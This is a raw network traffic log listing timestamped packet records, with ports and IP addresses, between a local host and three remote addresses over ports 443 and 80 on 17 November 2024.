Nov 17, 2024 01:38:48.653031111 CET	56761	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:48.653052092 CET	443	56761	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:48.653276920 CET	56761	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:48.657381058 CET	56761	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:48.657388926 CET	443	56761	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:48.660192013 CET	56762	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:48.660212994 CET	443	56762	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:48.663209915 CET	56762	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:48.663546085 CET	56762	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:48.663556099 CET	443	56762	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:48.723474979 CET	443	56738	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:48.723536968 CET	443	56738	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:48.723582029 CET	56738	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:48.723651886 CET	443	56738	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:48.723689079 CET	56738	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:48.724215031 CET	56738	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:48.735884905 CET	443	56756	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:48.736036062 CET	443	56756	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:48.736119032 CET	56756	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:48.746767998 CET	56756	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:48.746781111 CET	443	56756	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:48.746789932 CET	56756	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:48.746794939 CET	443	56756	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:48.754997969 CET	56765	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:48.755059958 CET	443	56765	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:48.755371094 CET	56765	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:48.755738020 CET	56765	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:48.755769014 CET	443	56765	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:48.840797901 CET	443	56738	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:48.840861082 CET	443	56738	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:48.840913057 CET	443	56738	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:48.840944052 CET	56738	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:48.840944052 CET	56738	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:48.841008902 CET	56738	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:48.847321033 CET	56738	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:48.847342968 CET	443	56738	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:48.882226944 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.882285118 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.882302046 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.882313013 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.882323027 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.882334948 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.882349968 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.882359982 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.882369995 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.882441044 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.882441044 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.882441044 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.882441044 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.882730007 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.882741928 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.882752895 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.882818937 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.882817984 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.882818937 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.882829905 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.882842064 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.882853985 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.882863045 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.882864952 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.882875919 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.882895947 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.882924080 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.961122036 CET	56766	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:48.961144924 CET	443	56766	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:48.961244106 CET	56766	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:48.962203979 CET	56766	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:48.962215900 CET	443	56766	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:49.028409958 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.028498888 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.028536081 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.028713942 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.028717995 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.028788090 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.028800964 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.028811932 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.028821945 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.028844118 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.028872967 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.028958082 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.029016972 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.029020071 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.029027939 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.029067039 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.029077053 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.029089928 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.029100895 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.029155016 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.029630899 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.029642105 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.029652119 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.029661894 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.029689074 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.029716015 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.029970884 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.029982090 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.029992104 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.030018091 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.030044079 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.030052900 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.030061960 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.030071974 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.030081987 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.030092001 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.030112982 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.030139923 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.030657053 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.030745029 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.030756950 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.030807972 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.030808926 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.030818939 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.030831099 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.030831099 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.030841112 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.030850887 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.030863047 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.030863047 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.030894041 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.143801928 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.143815041 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.143892050 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.144335032 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.144409895 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.144428968 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.144442081 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.144454956 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.144465923 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.144476891 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.144505024 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.188393116 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.188402891 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.188410997 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.188435078 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.188478947 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.188492060 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.188503027 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.188544989 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.188553095 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.188565969 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.188576937 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.188592911 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.188606977 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.188616991 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.188648939 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.188678026 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.189099073 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.189157963 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.189168930 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.189193010 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.189193010 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.189215899 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.189224005 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.189235926 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.189246893 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.189287901 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.189459085 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.189486980 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.189501047 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.189505100 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.189541101 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.189559937 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.189563990 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.189582109 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.189594030 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.189599991 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.189606905 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.189610958 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.189619064 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.189668894 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.190113068 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.190124035 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.190161943 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.190191984 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.259546995 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.259567976 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.259577990 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.259603977 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.259637117 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.259668112 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.259680033 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.259691954 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.259723902 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.259752035 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.267079115 CET	56769	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:49.267113924 CET	443	56769	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:49.267326117 CET	56769	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:49.267503023 CET	56770	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:49.267580032 CET	443	56770	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:49.267662048 CET	56771	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:49.267674923 CET	443	56771	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:49.267731905 CET	56771	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:49.267744064 CET	56770	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:49.268002987 CET	56772	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:49.268019915 CET	443	56772	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:49.268167019 CET	56773	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:49.268192053 CET	56772	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:49.268199921 CET	443	56773	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:49.268275976 CET	56773	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:49.268424988 CET	56769	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:49.268444061 CET	443	56769	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:49.268573046 CET	56770	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:49.268609047 CET	443	56770	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:49.268712997 CET	56771	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:49.268724918 CET	443	56771	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:49.268909931 CET	56772	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:49.268920898 CET	443	56772	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:49.269062042 CET	56773	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:49.269076109 CET	443	56773	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:49.303980112 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.303992033 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.304003000 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.304069996 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.304109097 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.304120064 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.304131031 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.304158926 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.304184914 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.304203033 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.304208040 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.304214001 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.304224968 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.304235935 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.304256916 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.304286957 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.304308891 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.304321051 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.304333925 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.304344893 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.304352999 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.304363012 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.304378986 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.304419994 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.304936886 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.304948092 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.304959059 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.305000067 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.305011034 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.305021048 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.305201054 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.305389881 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.305401087 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.305411100 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.305455923 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.305459023 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.305465937 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.305478096 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.305531025 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.335068941 CET	443	56759	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:49.335583925 CET	56759	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:49.335609913 CET	443	56759	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:49.336055040 CET	56759	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:49.336065054 CET	443	56759	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:49.344295025 CET	443	56760	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:49.344768047 CET	56760	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:49.344784975 CET	443	56760	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:49.345227957 CET	56760	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:49.345231056 CET	443	56760	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:49.346481085 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.346493006 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.346565962 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.375017881 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.375034094 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.375045061 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.375053883 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.375066042 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.375094891 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.375133991 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.383786917 CET	443	56761	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:49.384341002 CET	56761	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:49.384361029 CET	443	56761	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:49.385282040 CET	56761	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:49.385287046 CET	443	56761	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:49.389800072 CET	443	56762	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:49.390717983 CET	56762	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:49.390737057 CET	443	56762	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:49.391561031 CET	56762	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:49.391566992 CET	443	56762	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:49.422166109 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.422179937 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.422190905 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.422259092 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.422430038 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.422441006 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.422452927 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.422462940 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.422478914 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.422489882 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.422502041 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.422496080 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.422497034 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.422550917 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.422555923 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.422555923 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.422564030 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.422574997 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.422585964 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.422595978 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.422606945 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.422612906 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.422617912 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.422630072 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.422630072 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.422657013 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.422682047 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.422991037 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.423057079 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.423064947 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.423077106 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.423116922 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.423125982 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.423137903 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.423149109 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.423162937 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.423171997 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.423202991 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.423223972 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.423342943 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.423352957 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.423609972 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.423633099 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.423651934 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.423662901 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.423707962 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.423738003 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.423744917 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.423784971 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.462985992 CET	443	56759	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:49.463139057 CET	443	56759	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:49.463238001 CET	56759	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:49.463386059 CET	56759	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:49.463386059 CET	56759	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:49.463407040 CET	443	56759	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:49.463417053 CET	443	56759	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:49.466270924 CET	56774	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:49.466289997 CET	443	56774	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:49.466382027 CET	56774	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:49.466506004 CET	56774	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:49.466517925 CET	443	56774	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:49.473593950 CET	443	56760	13.107.246.45	192.168.2.6
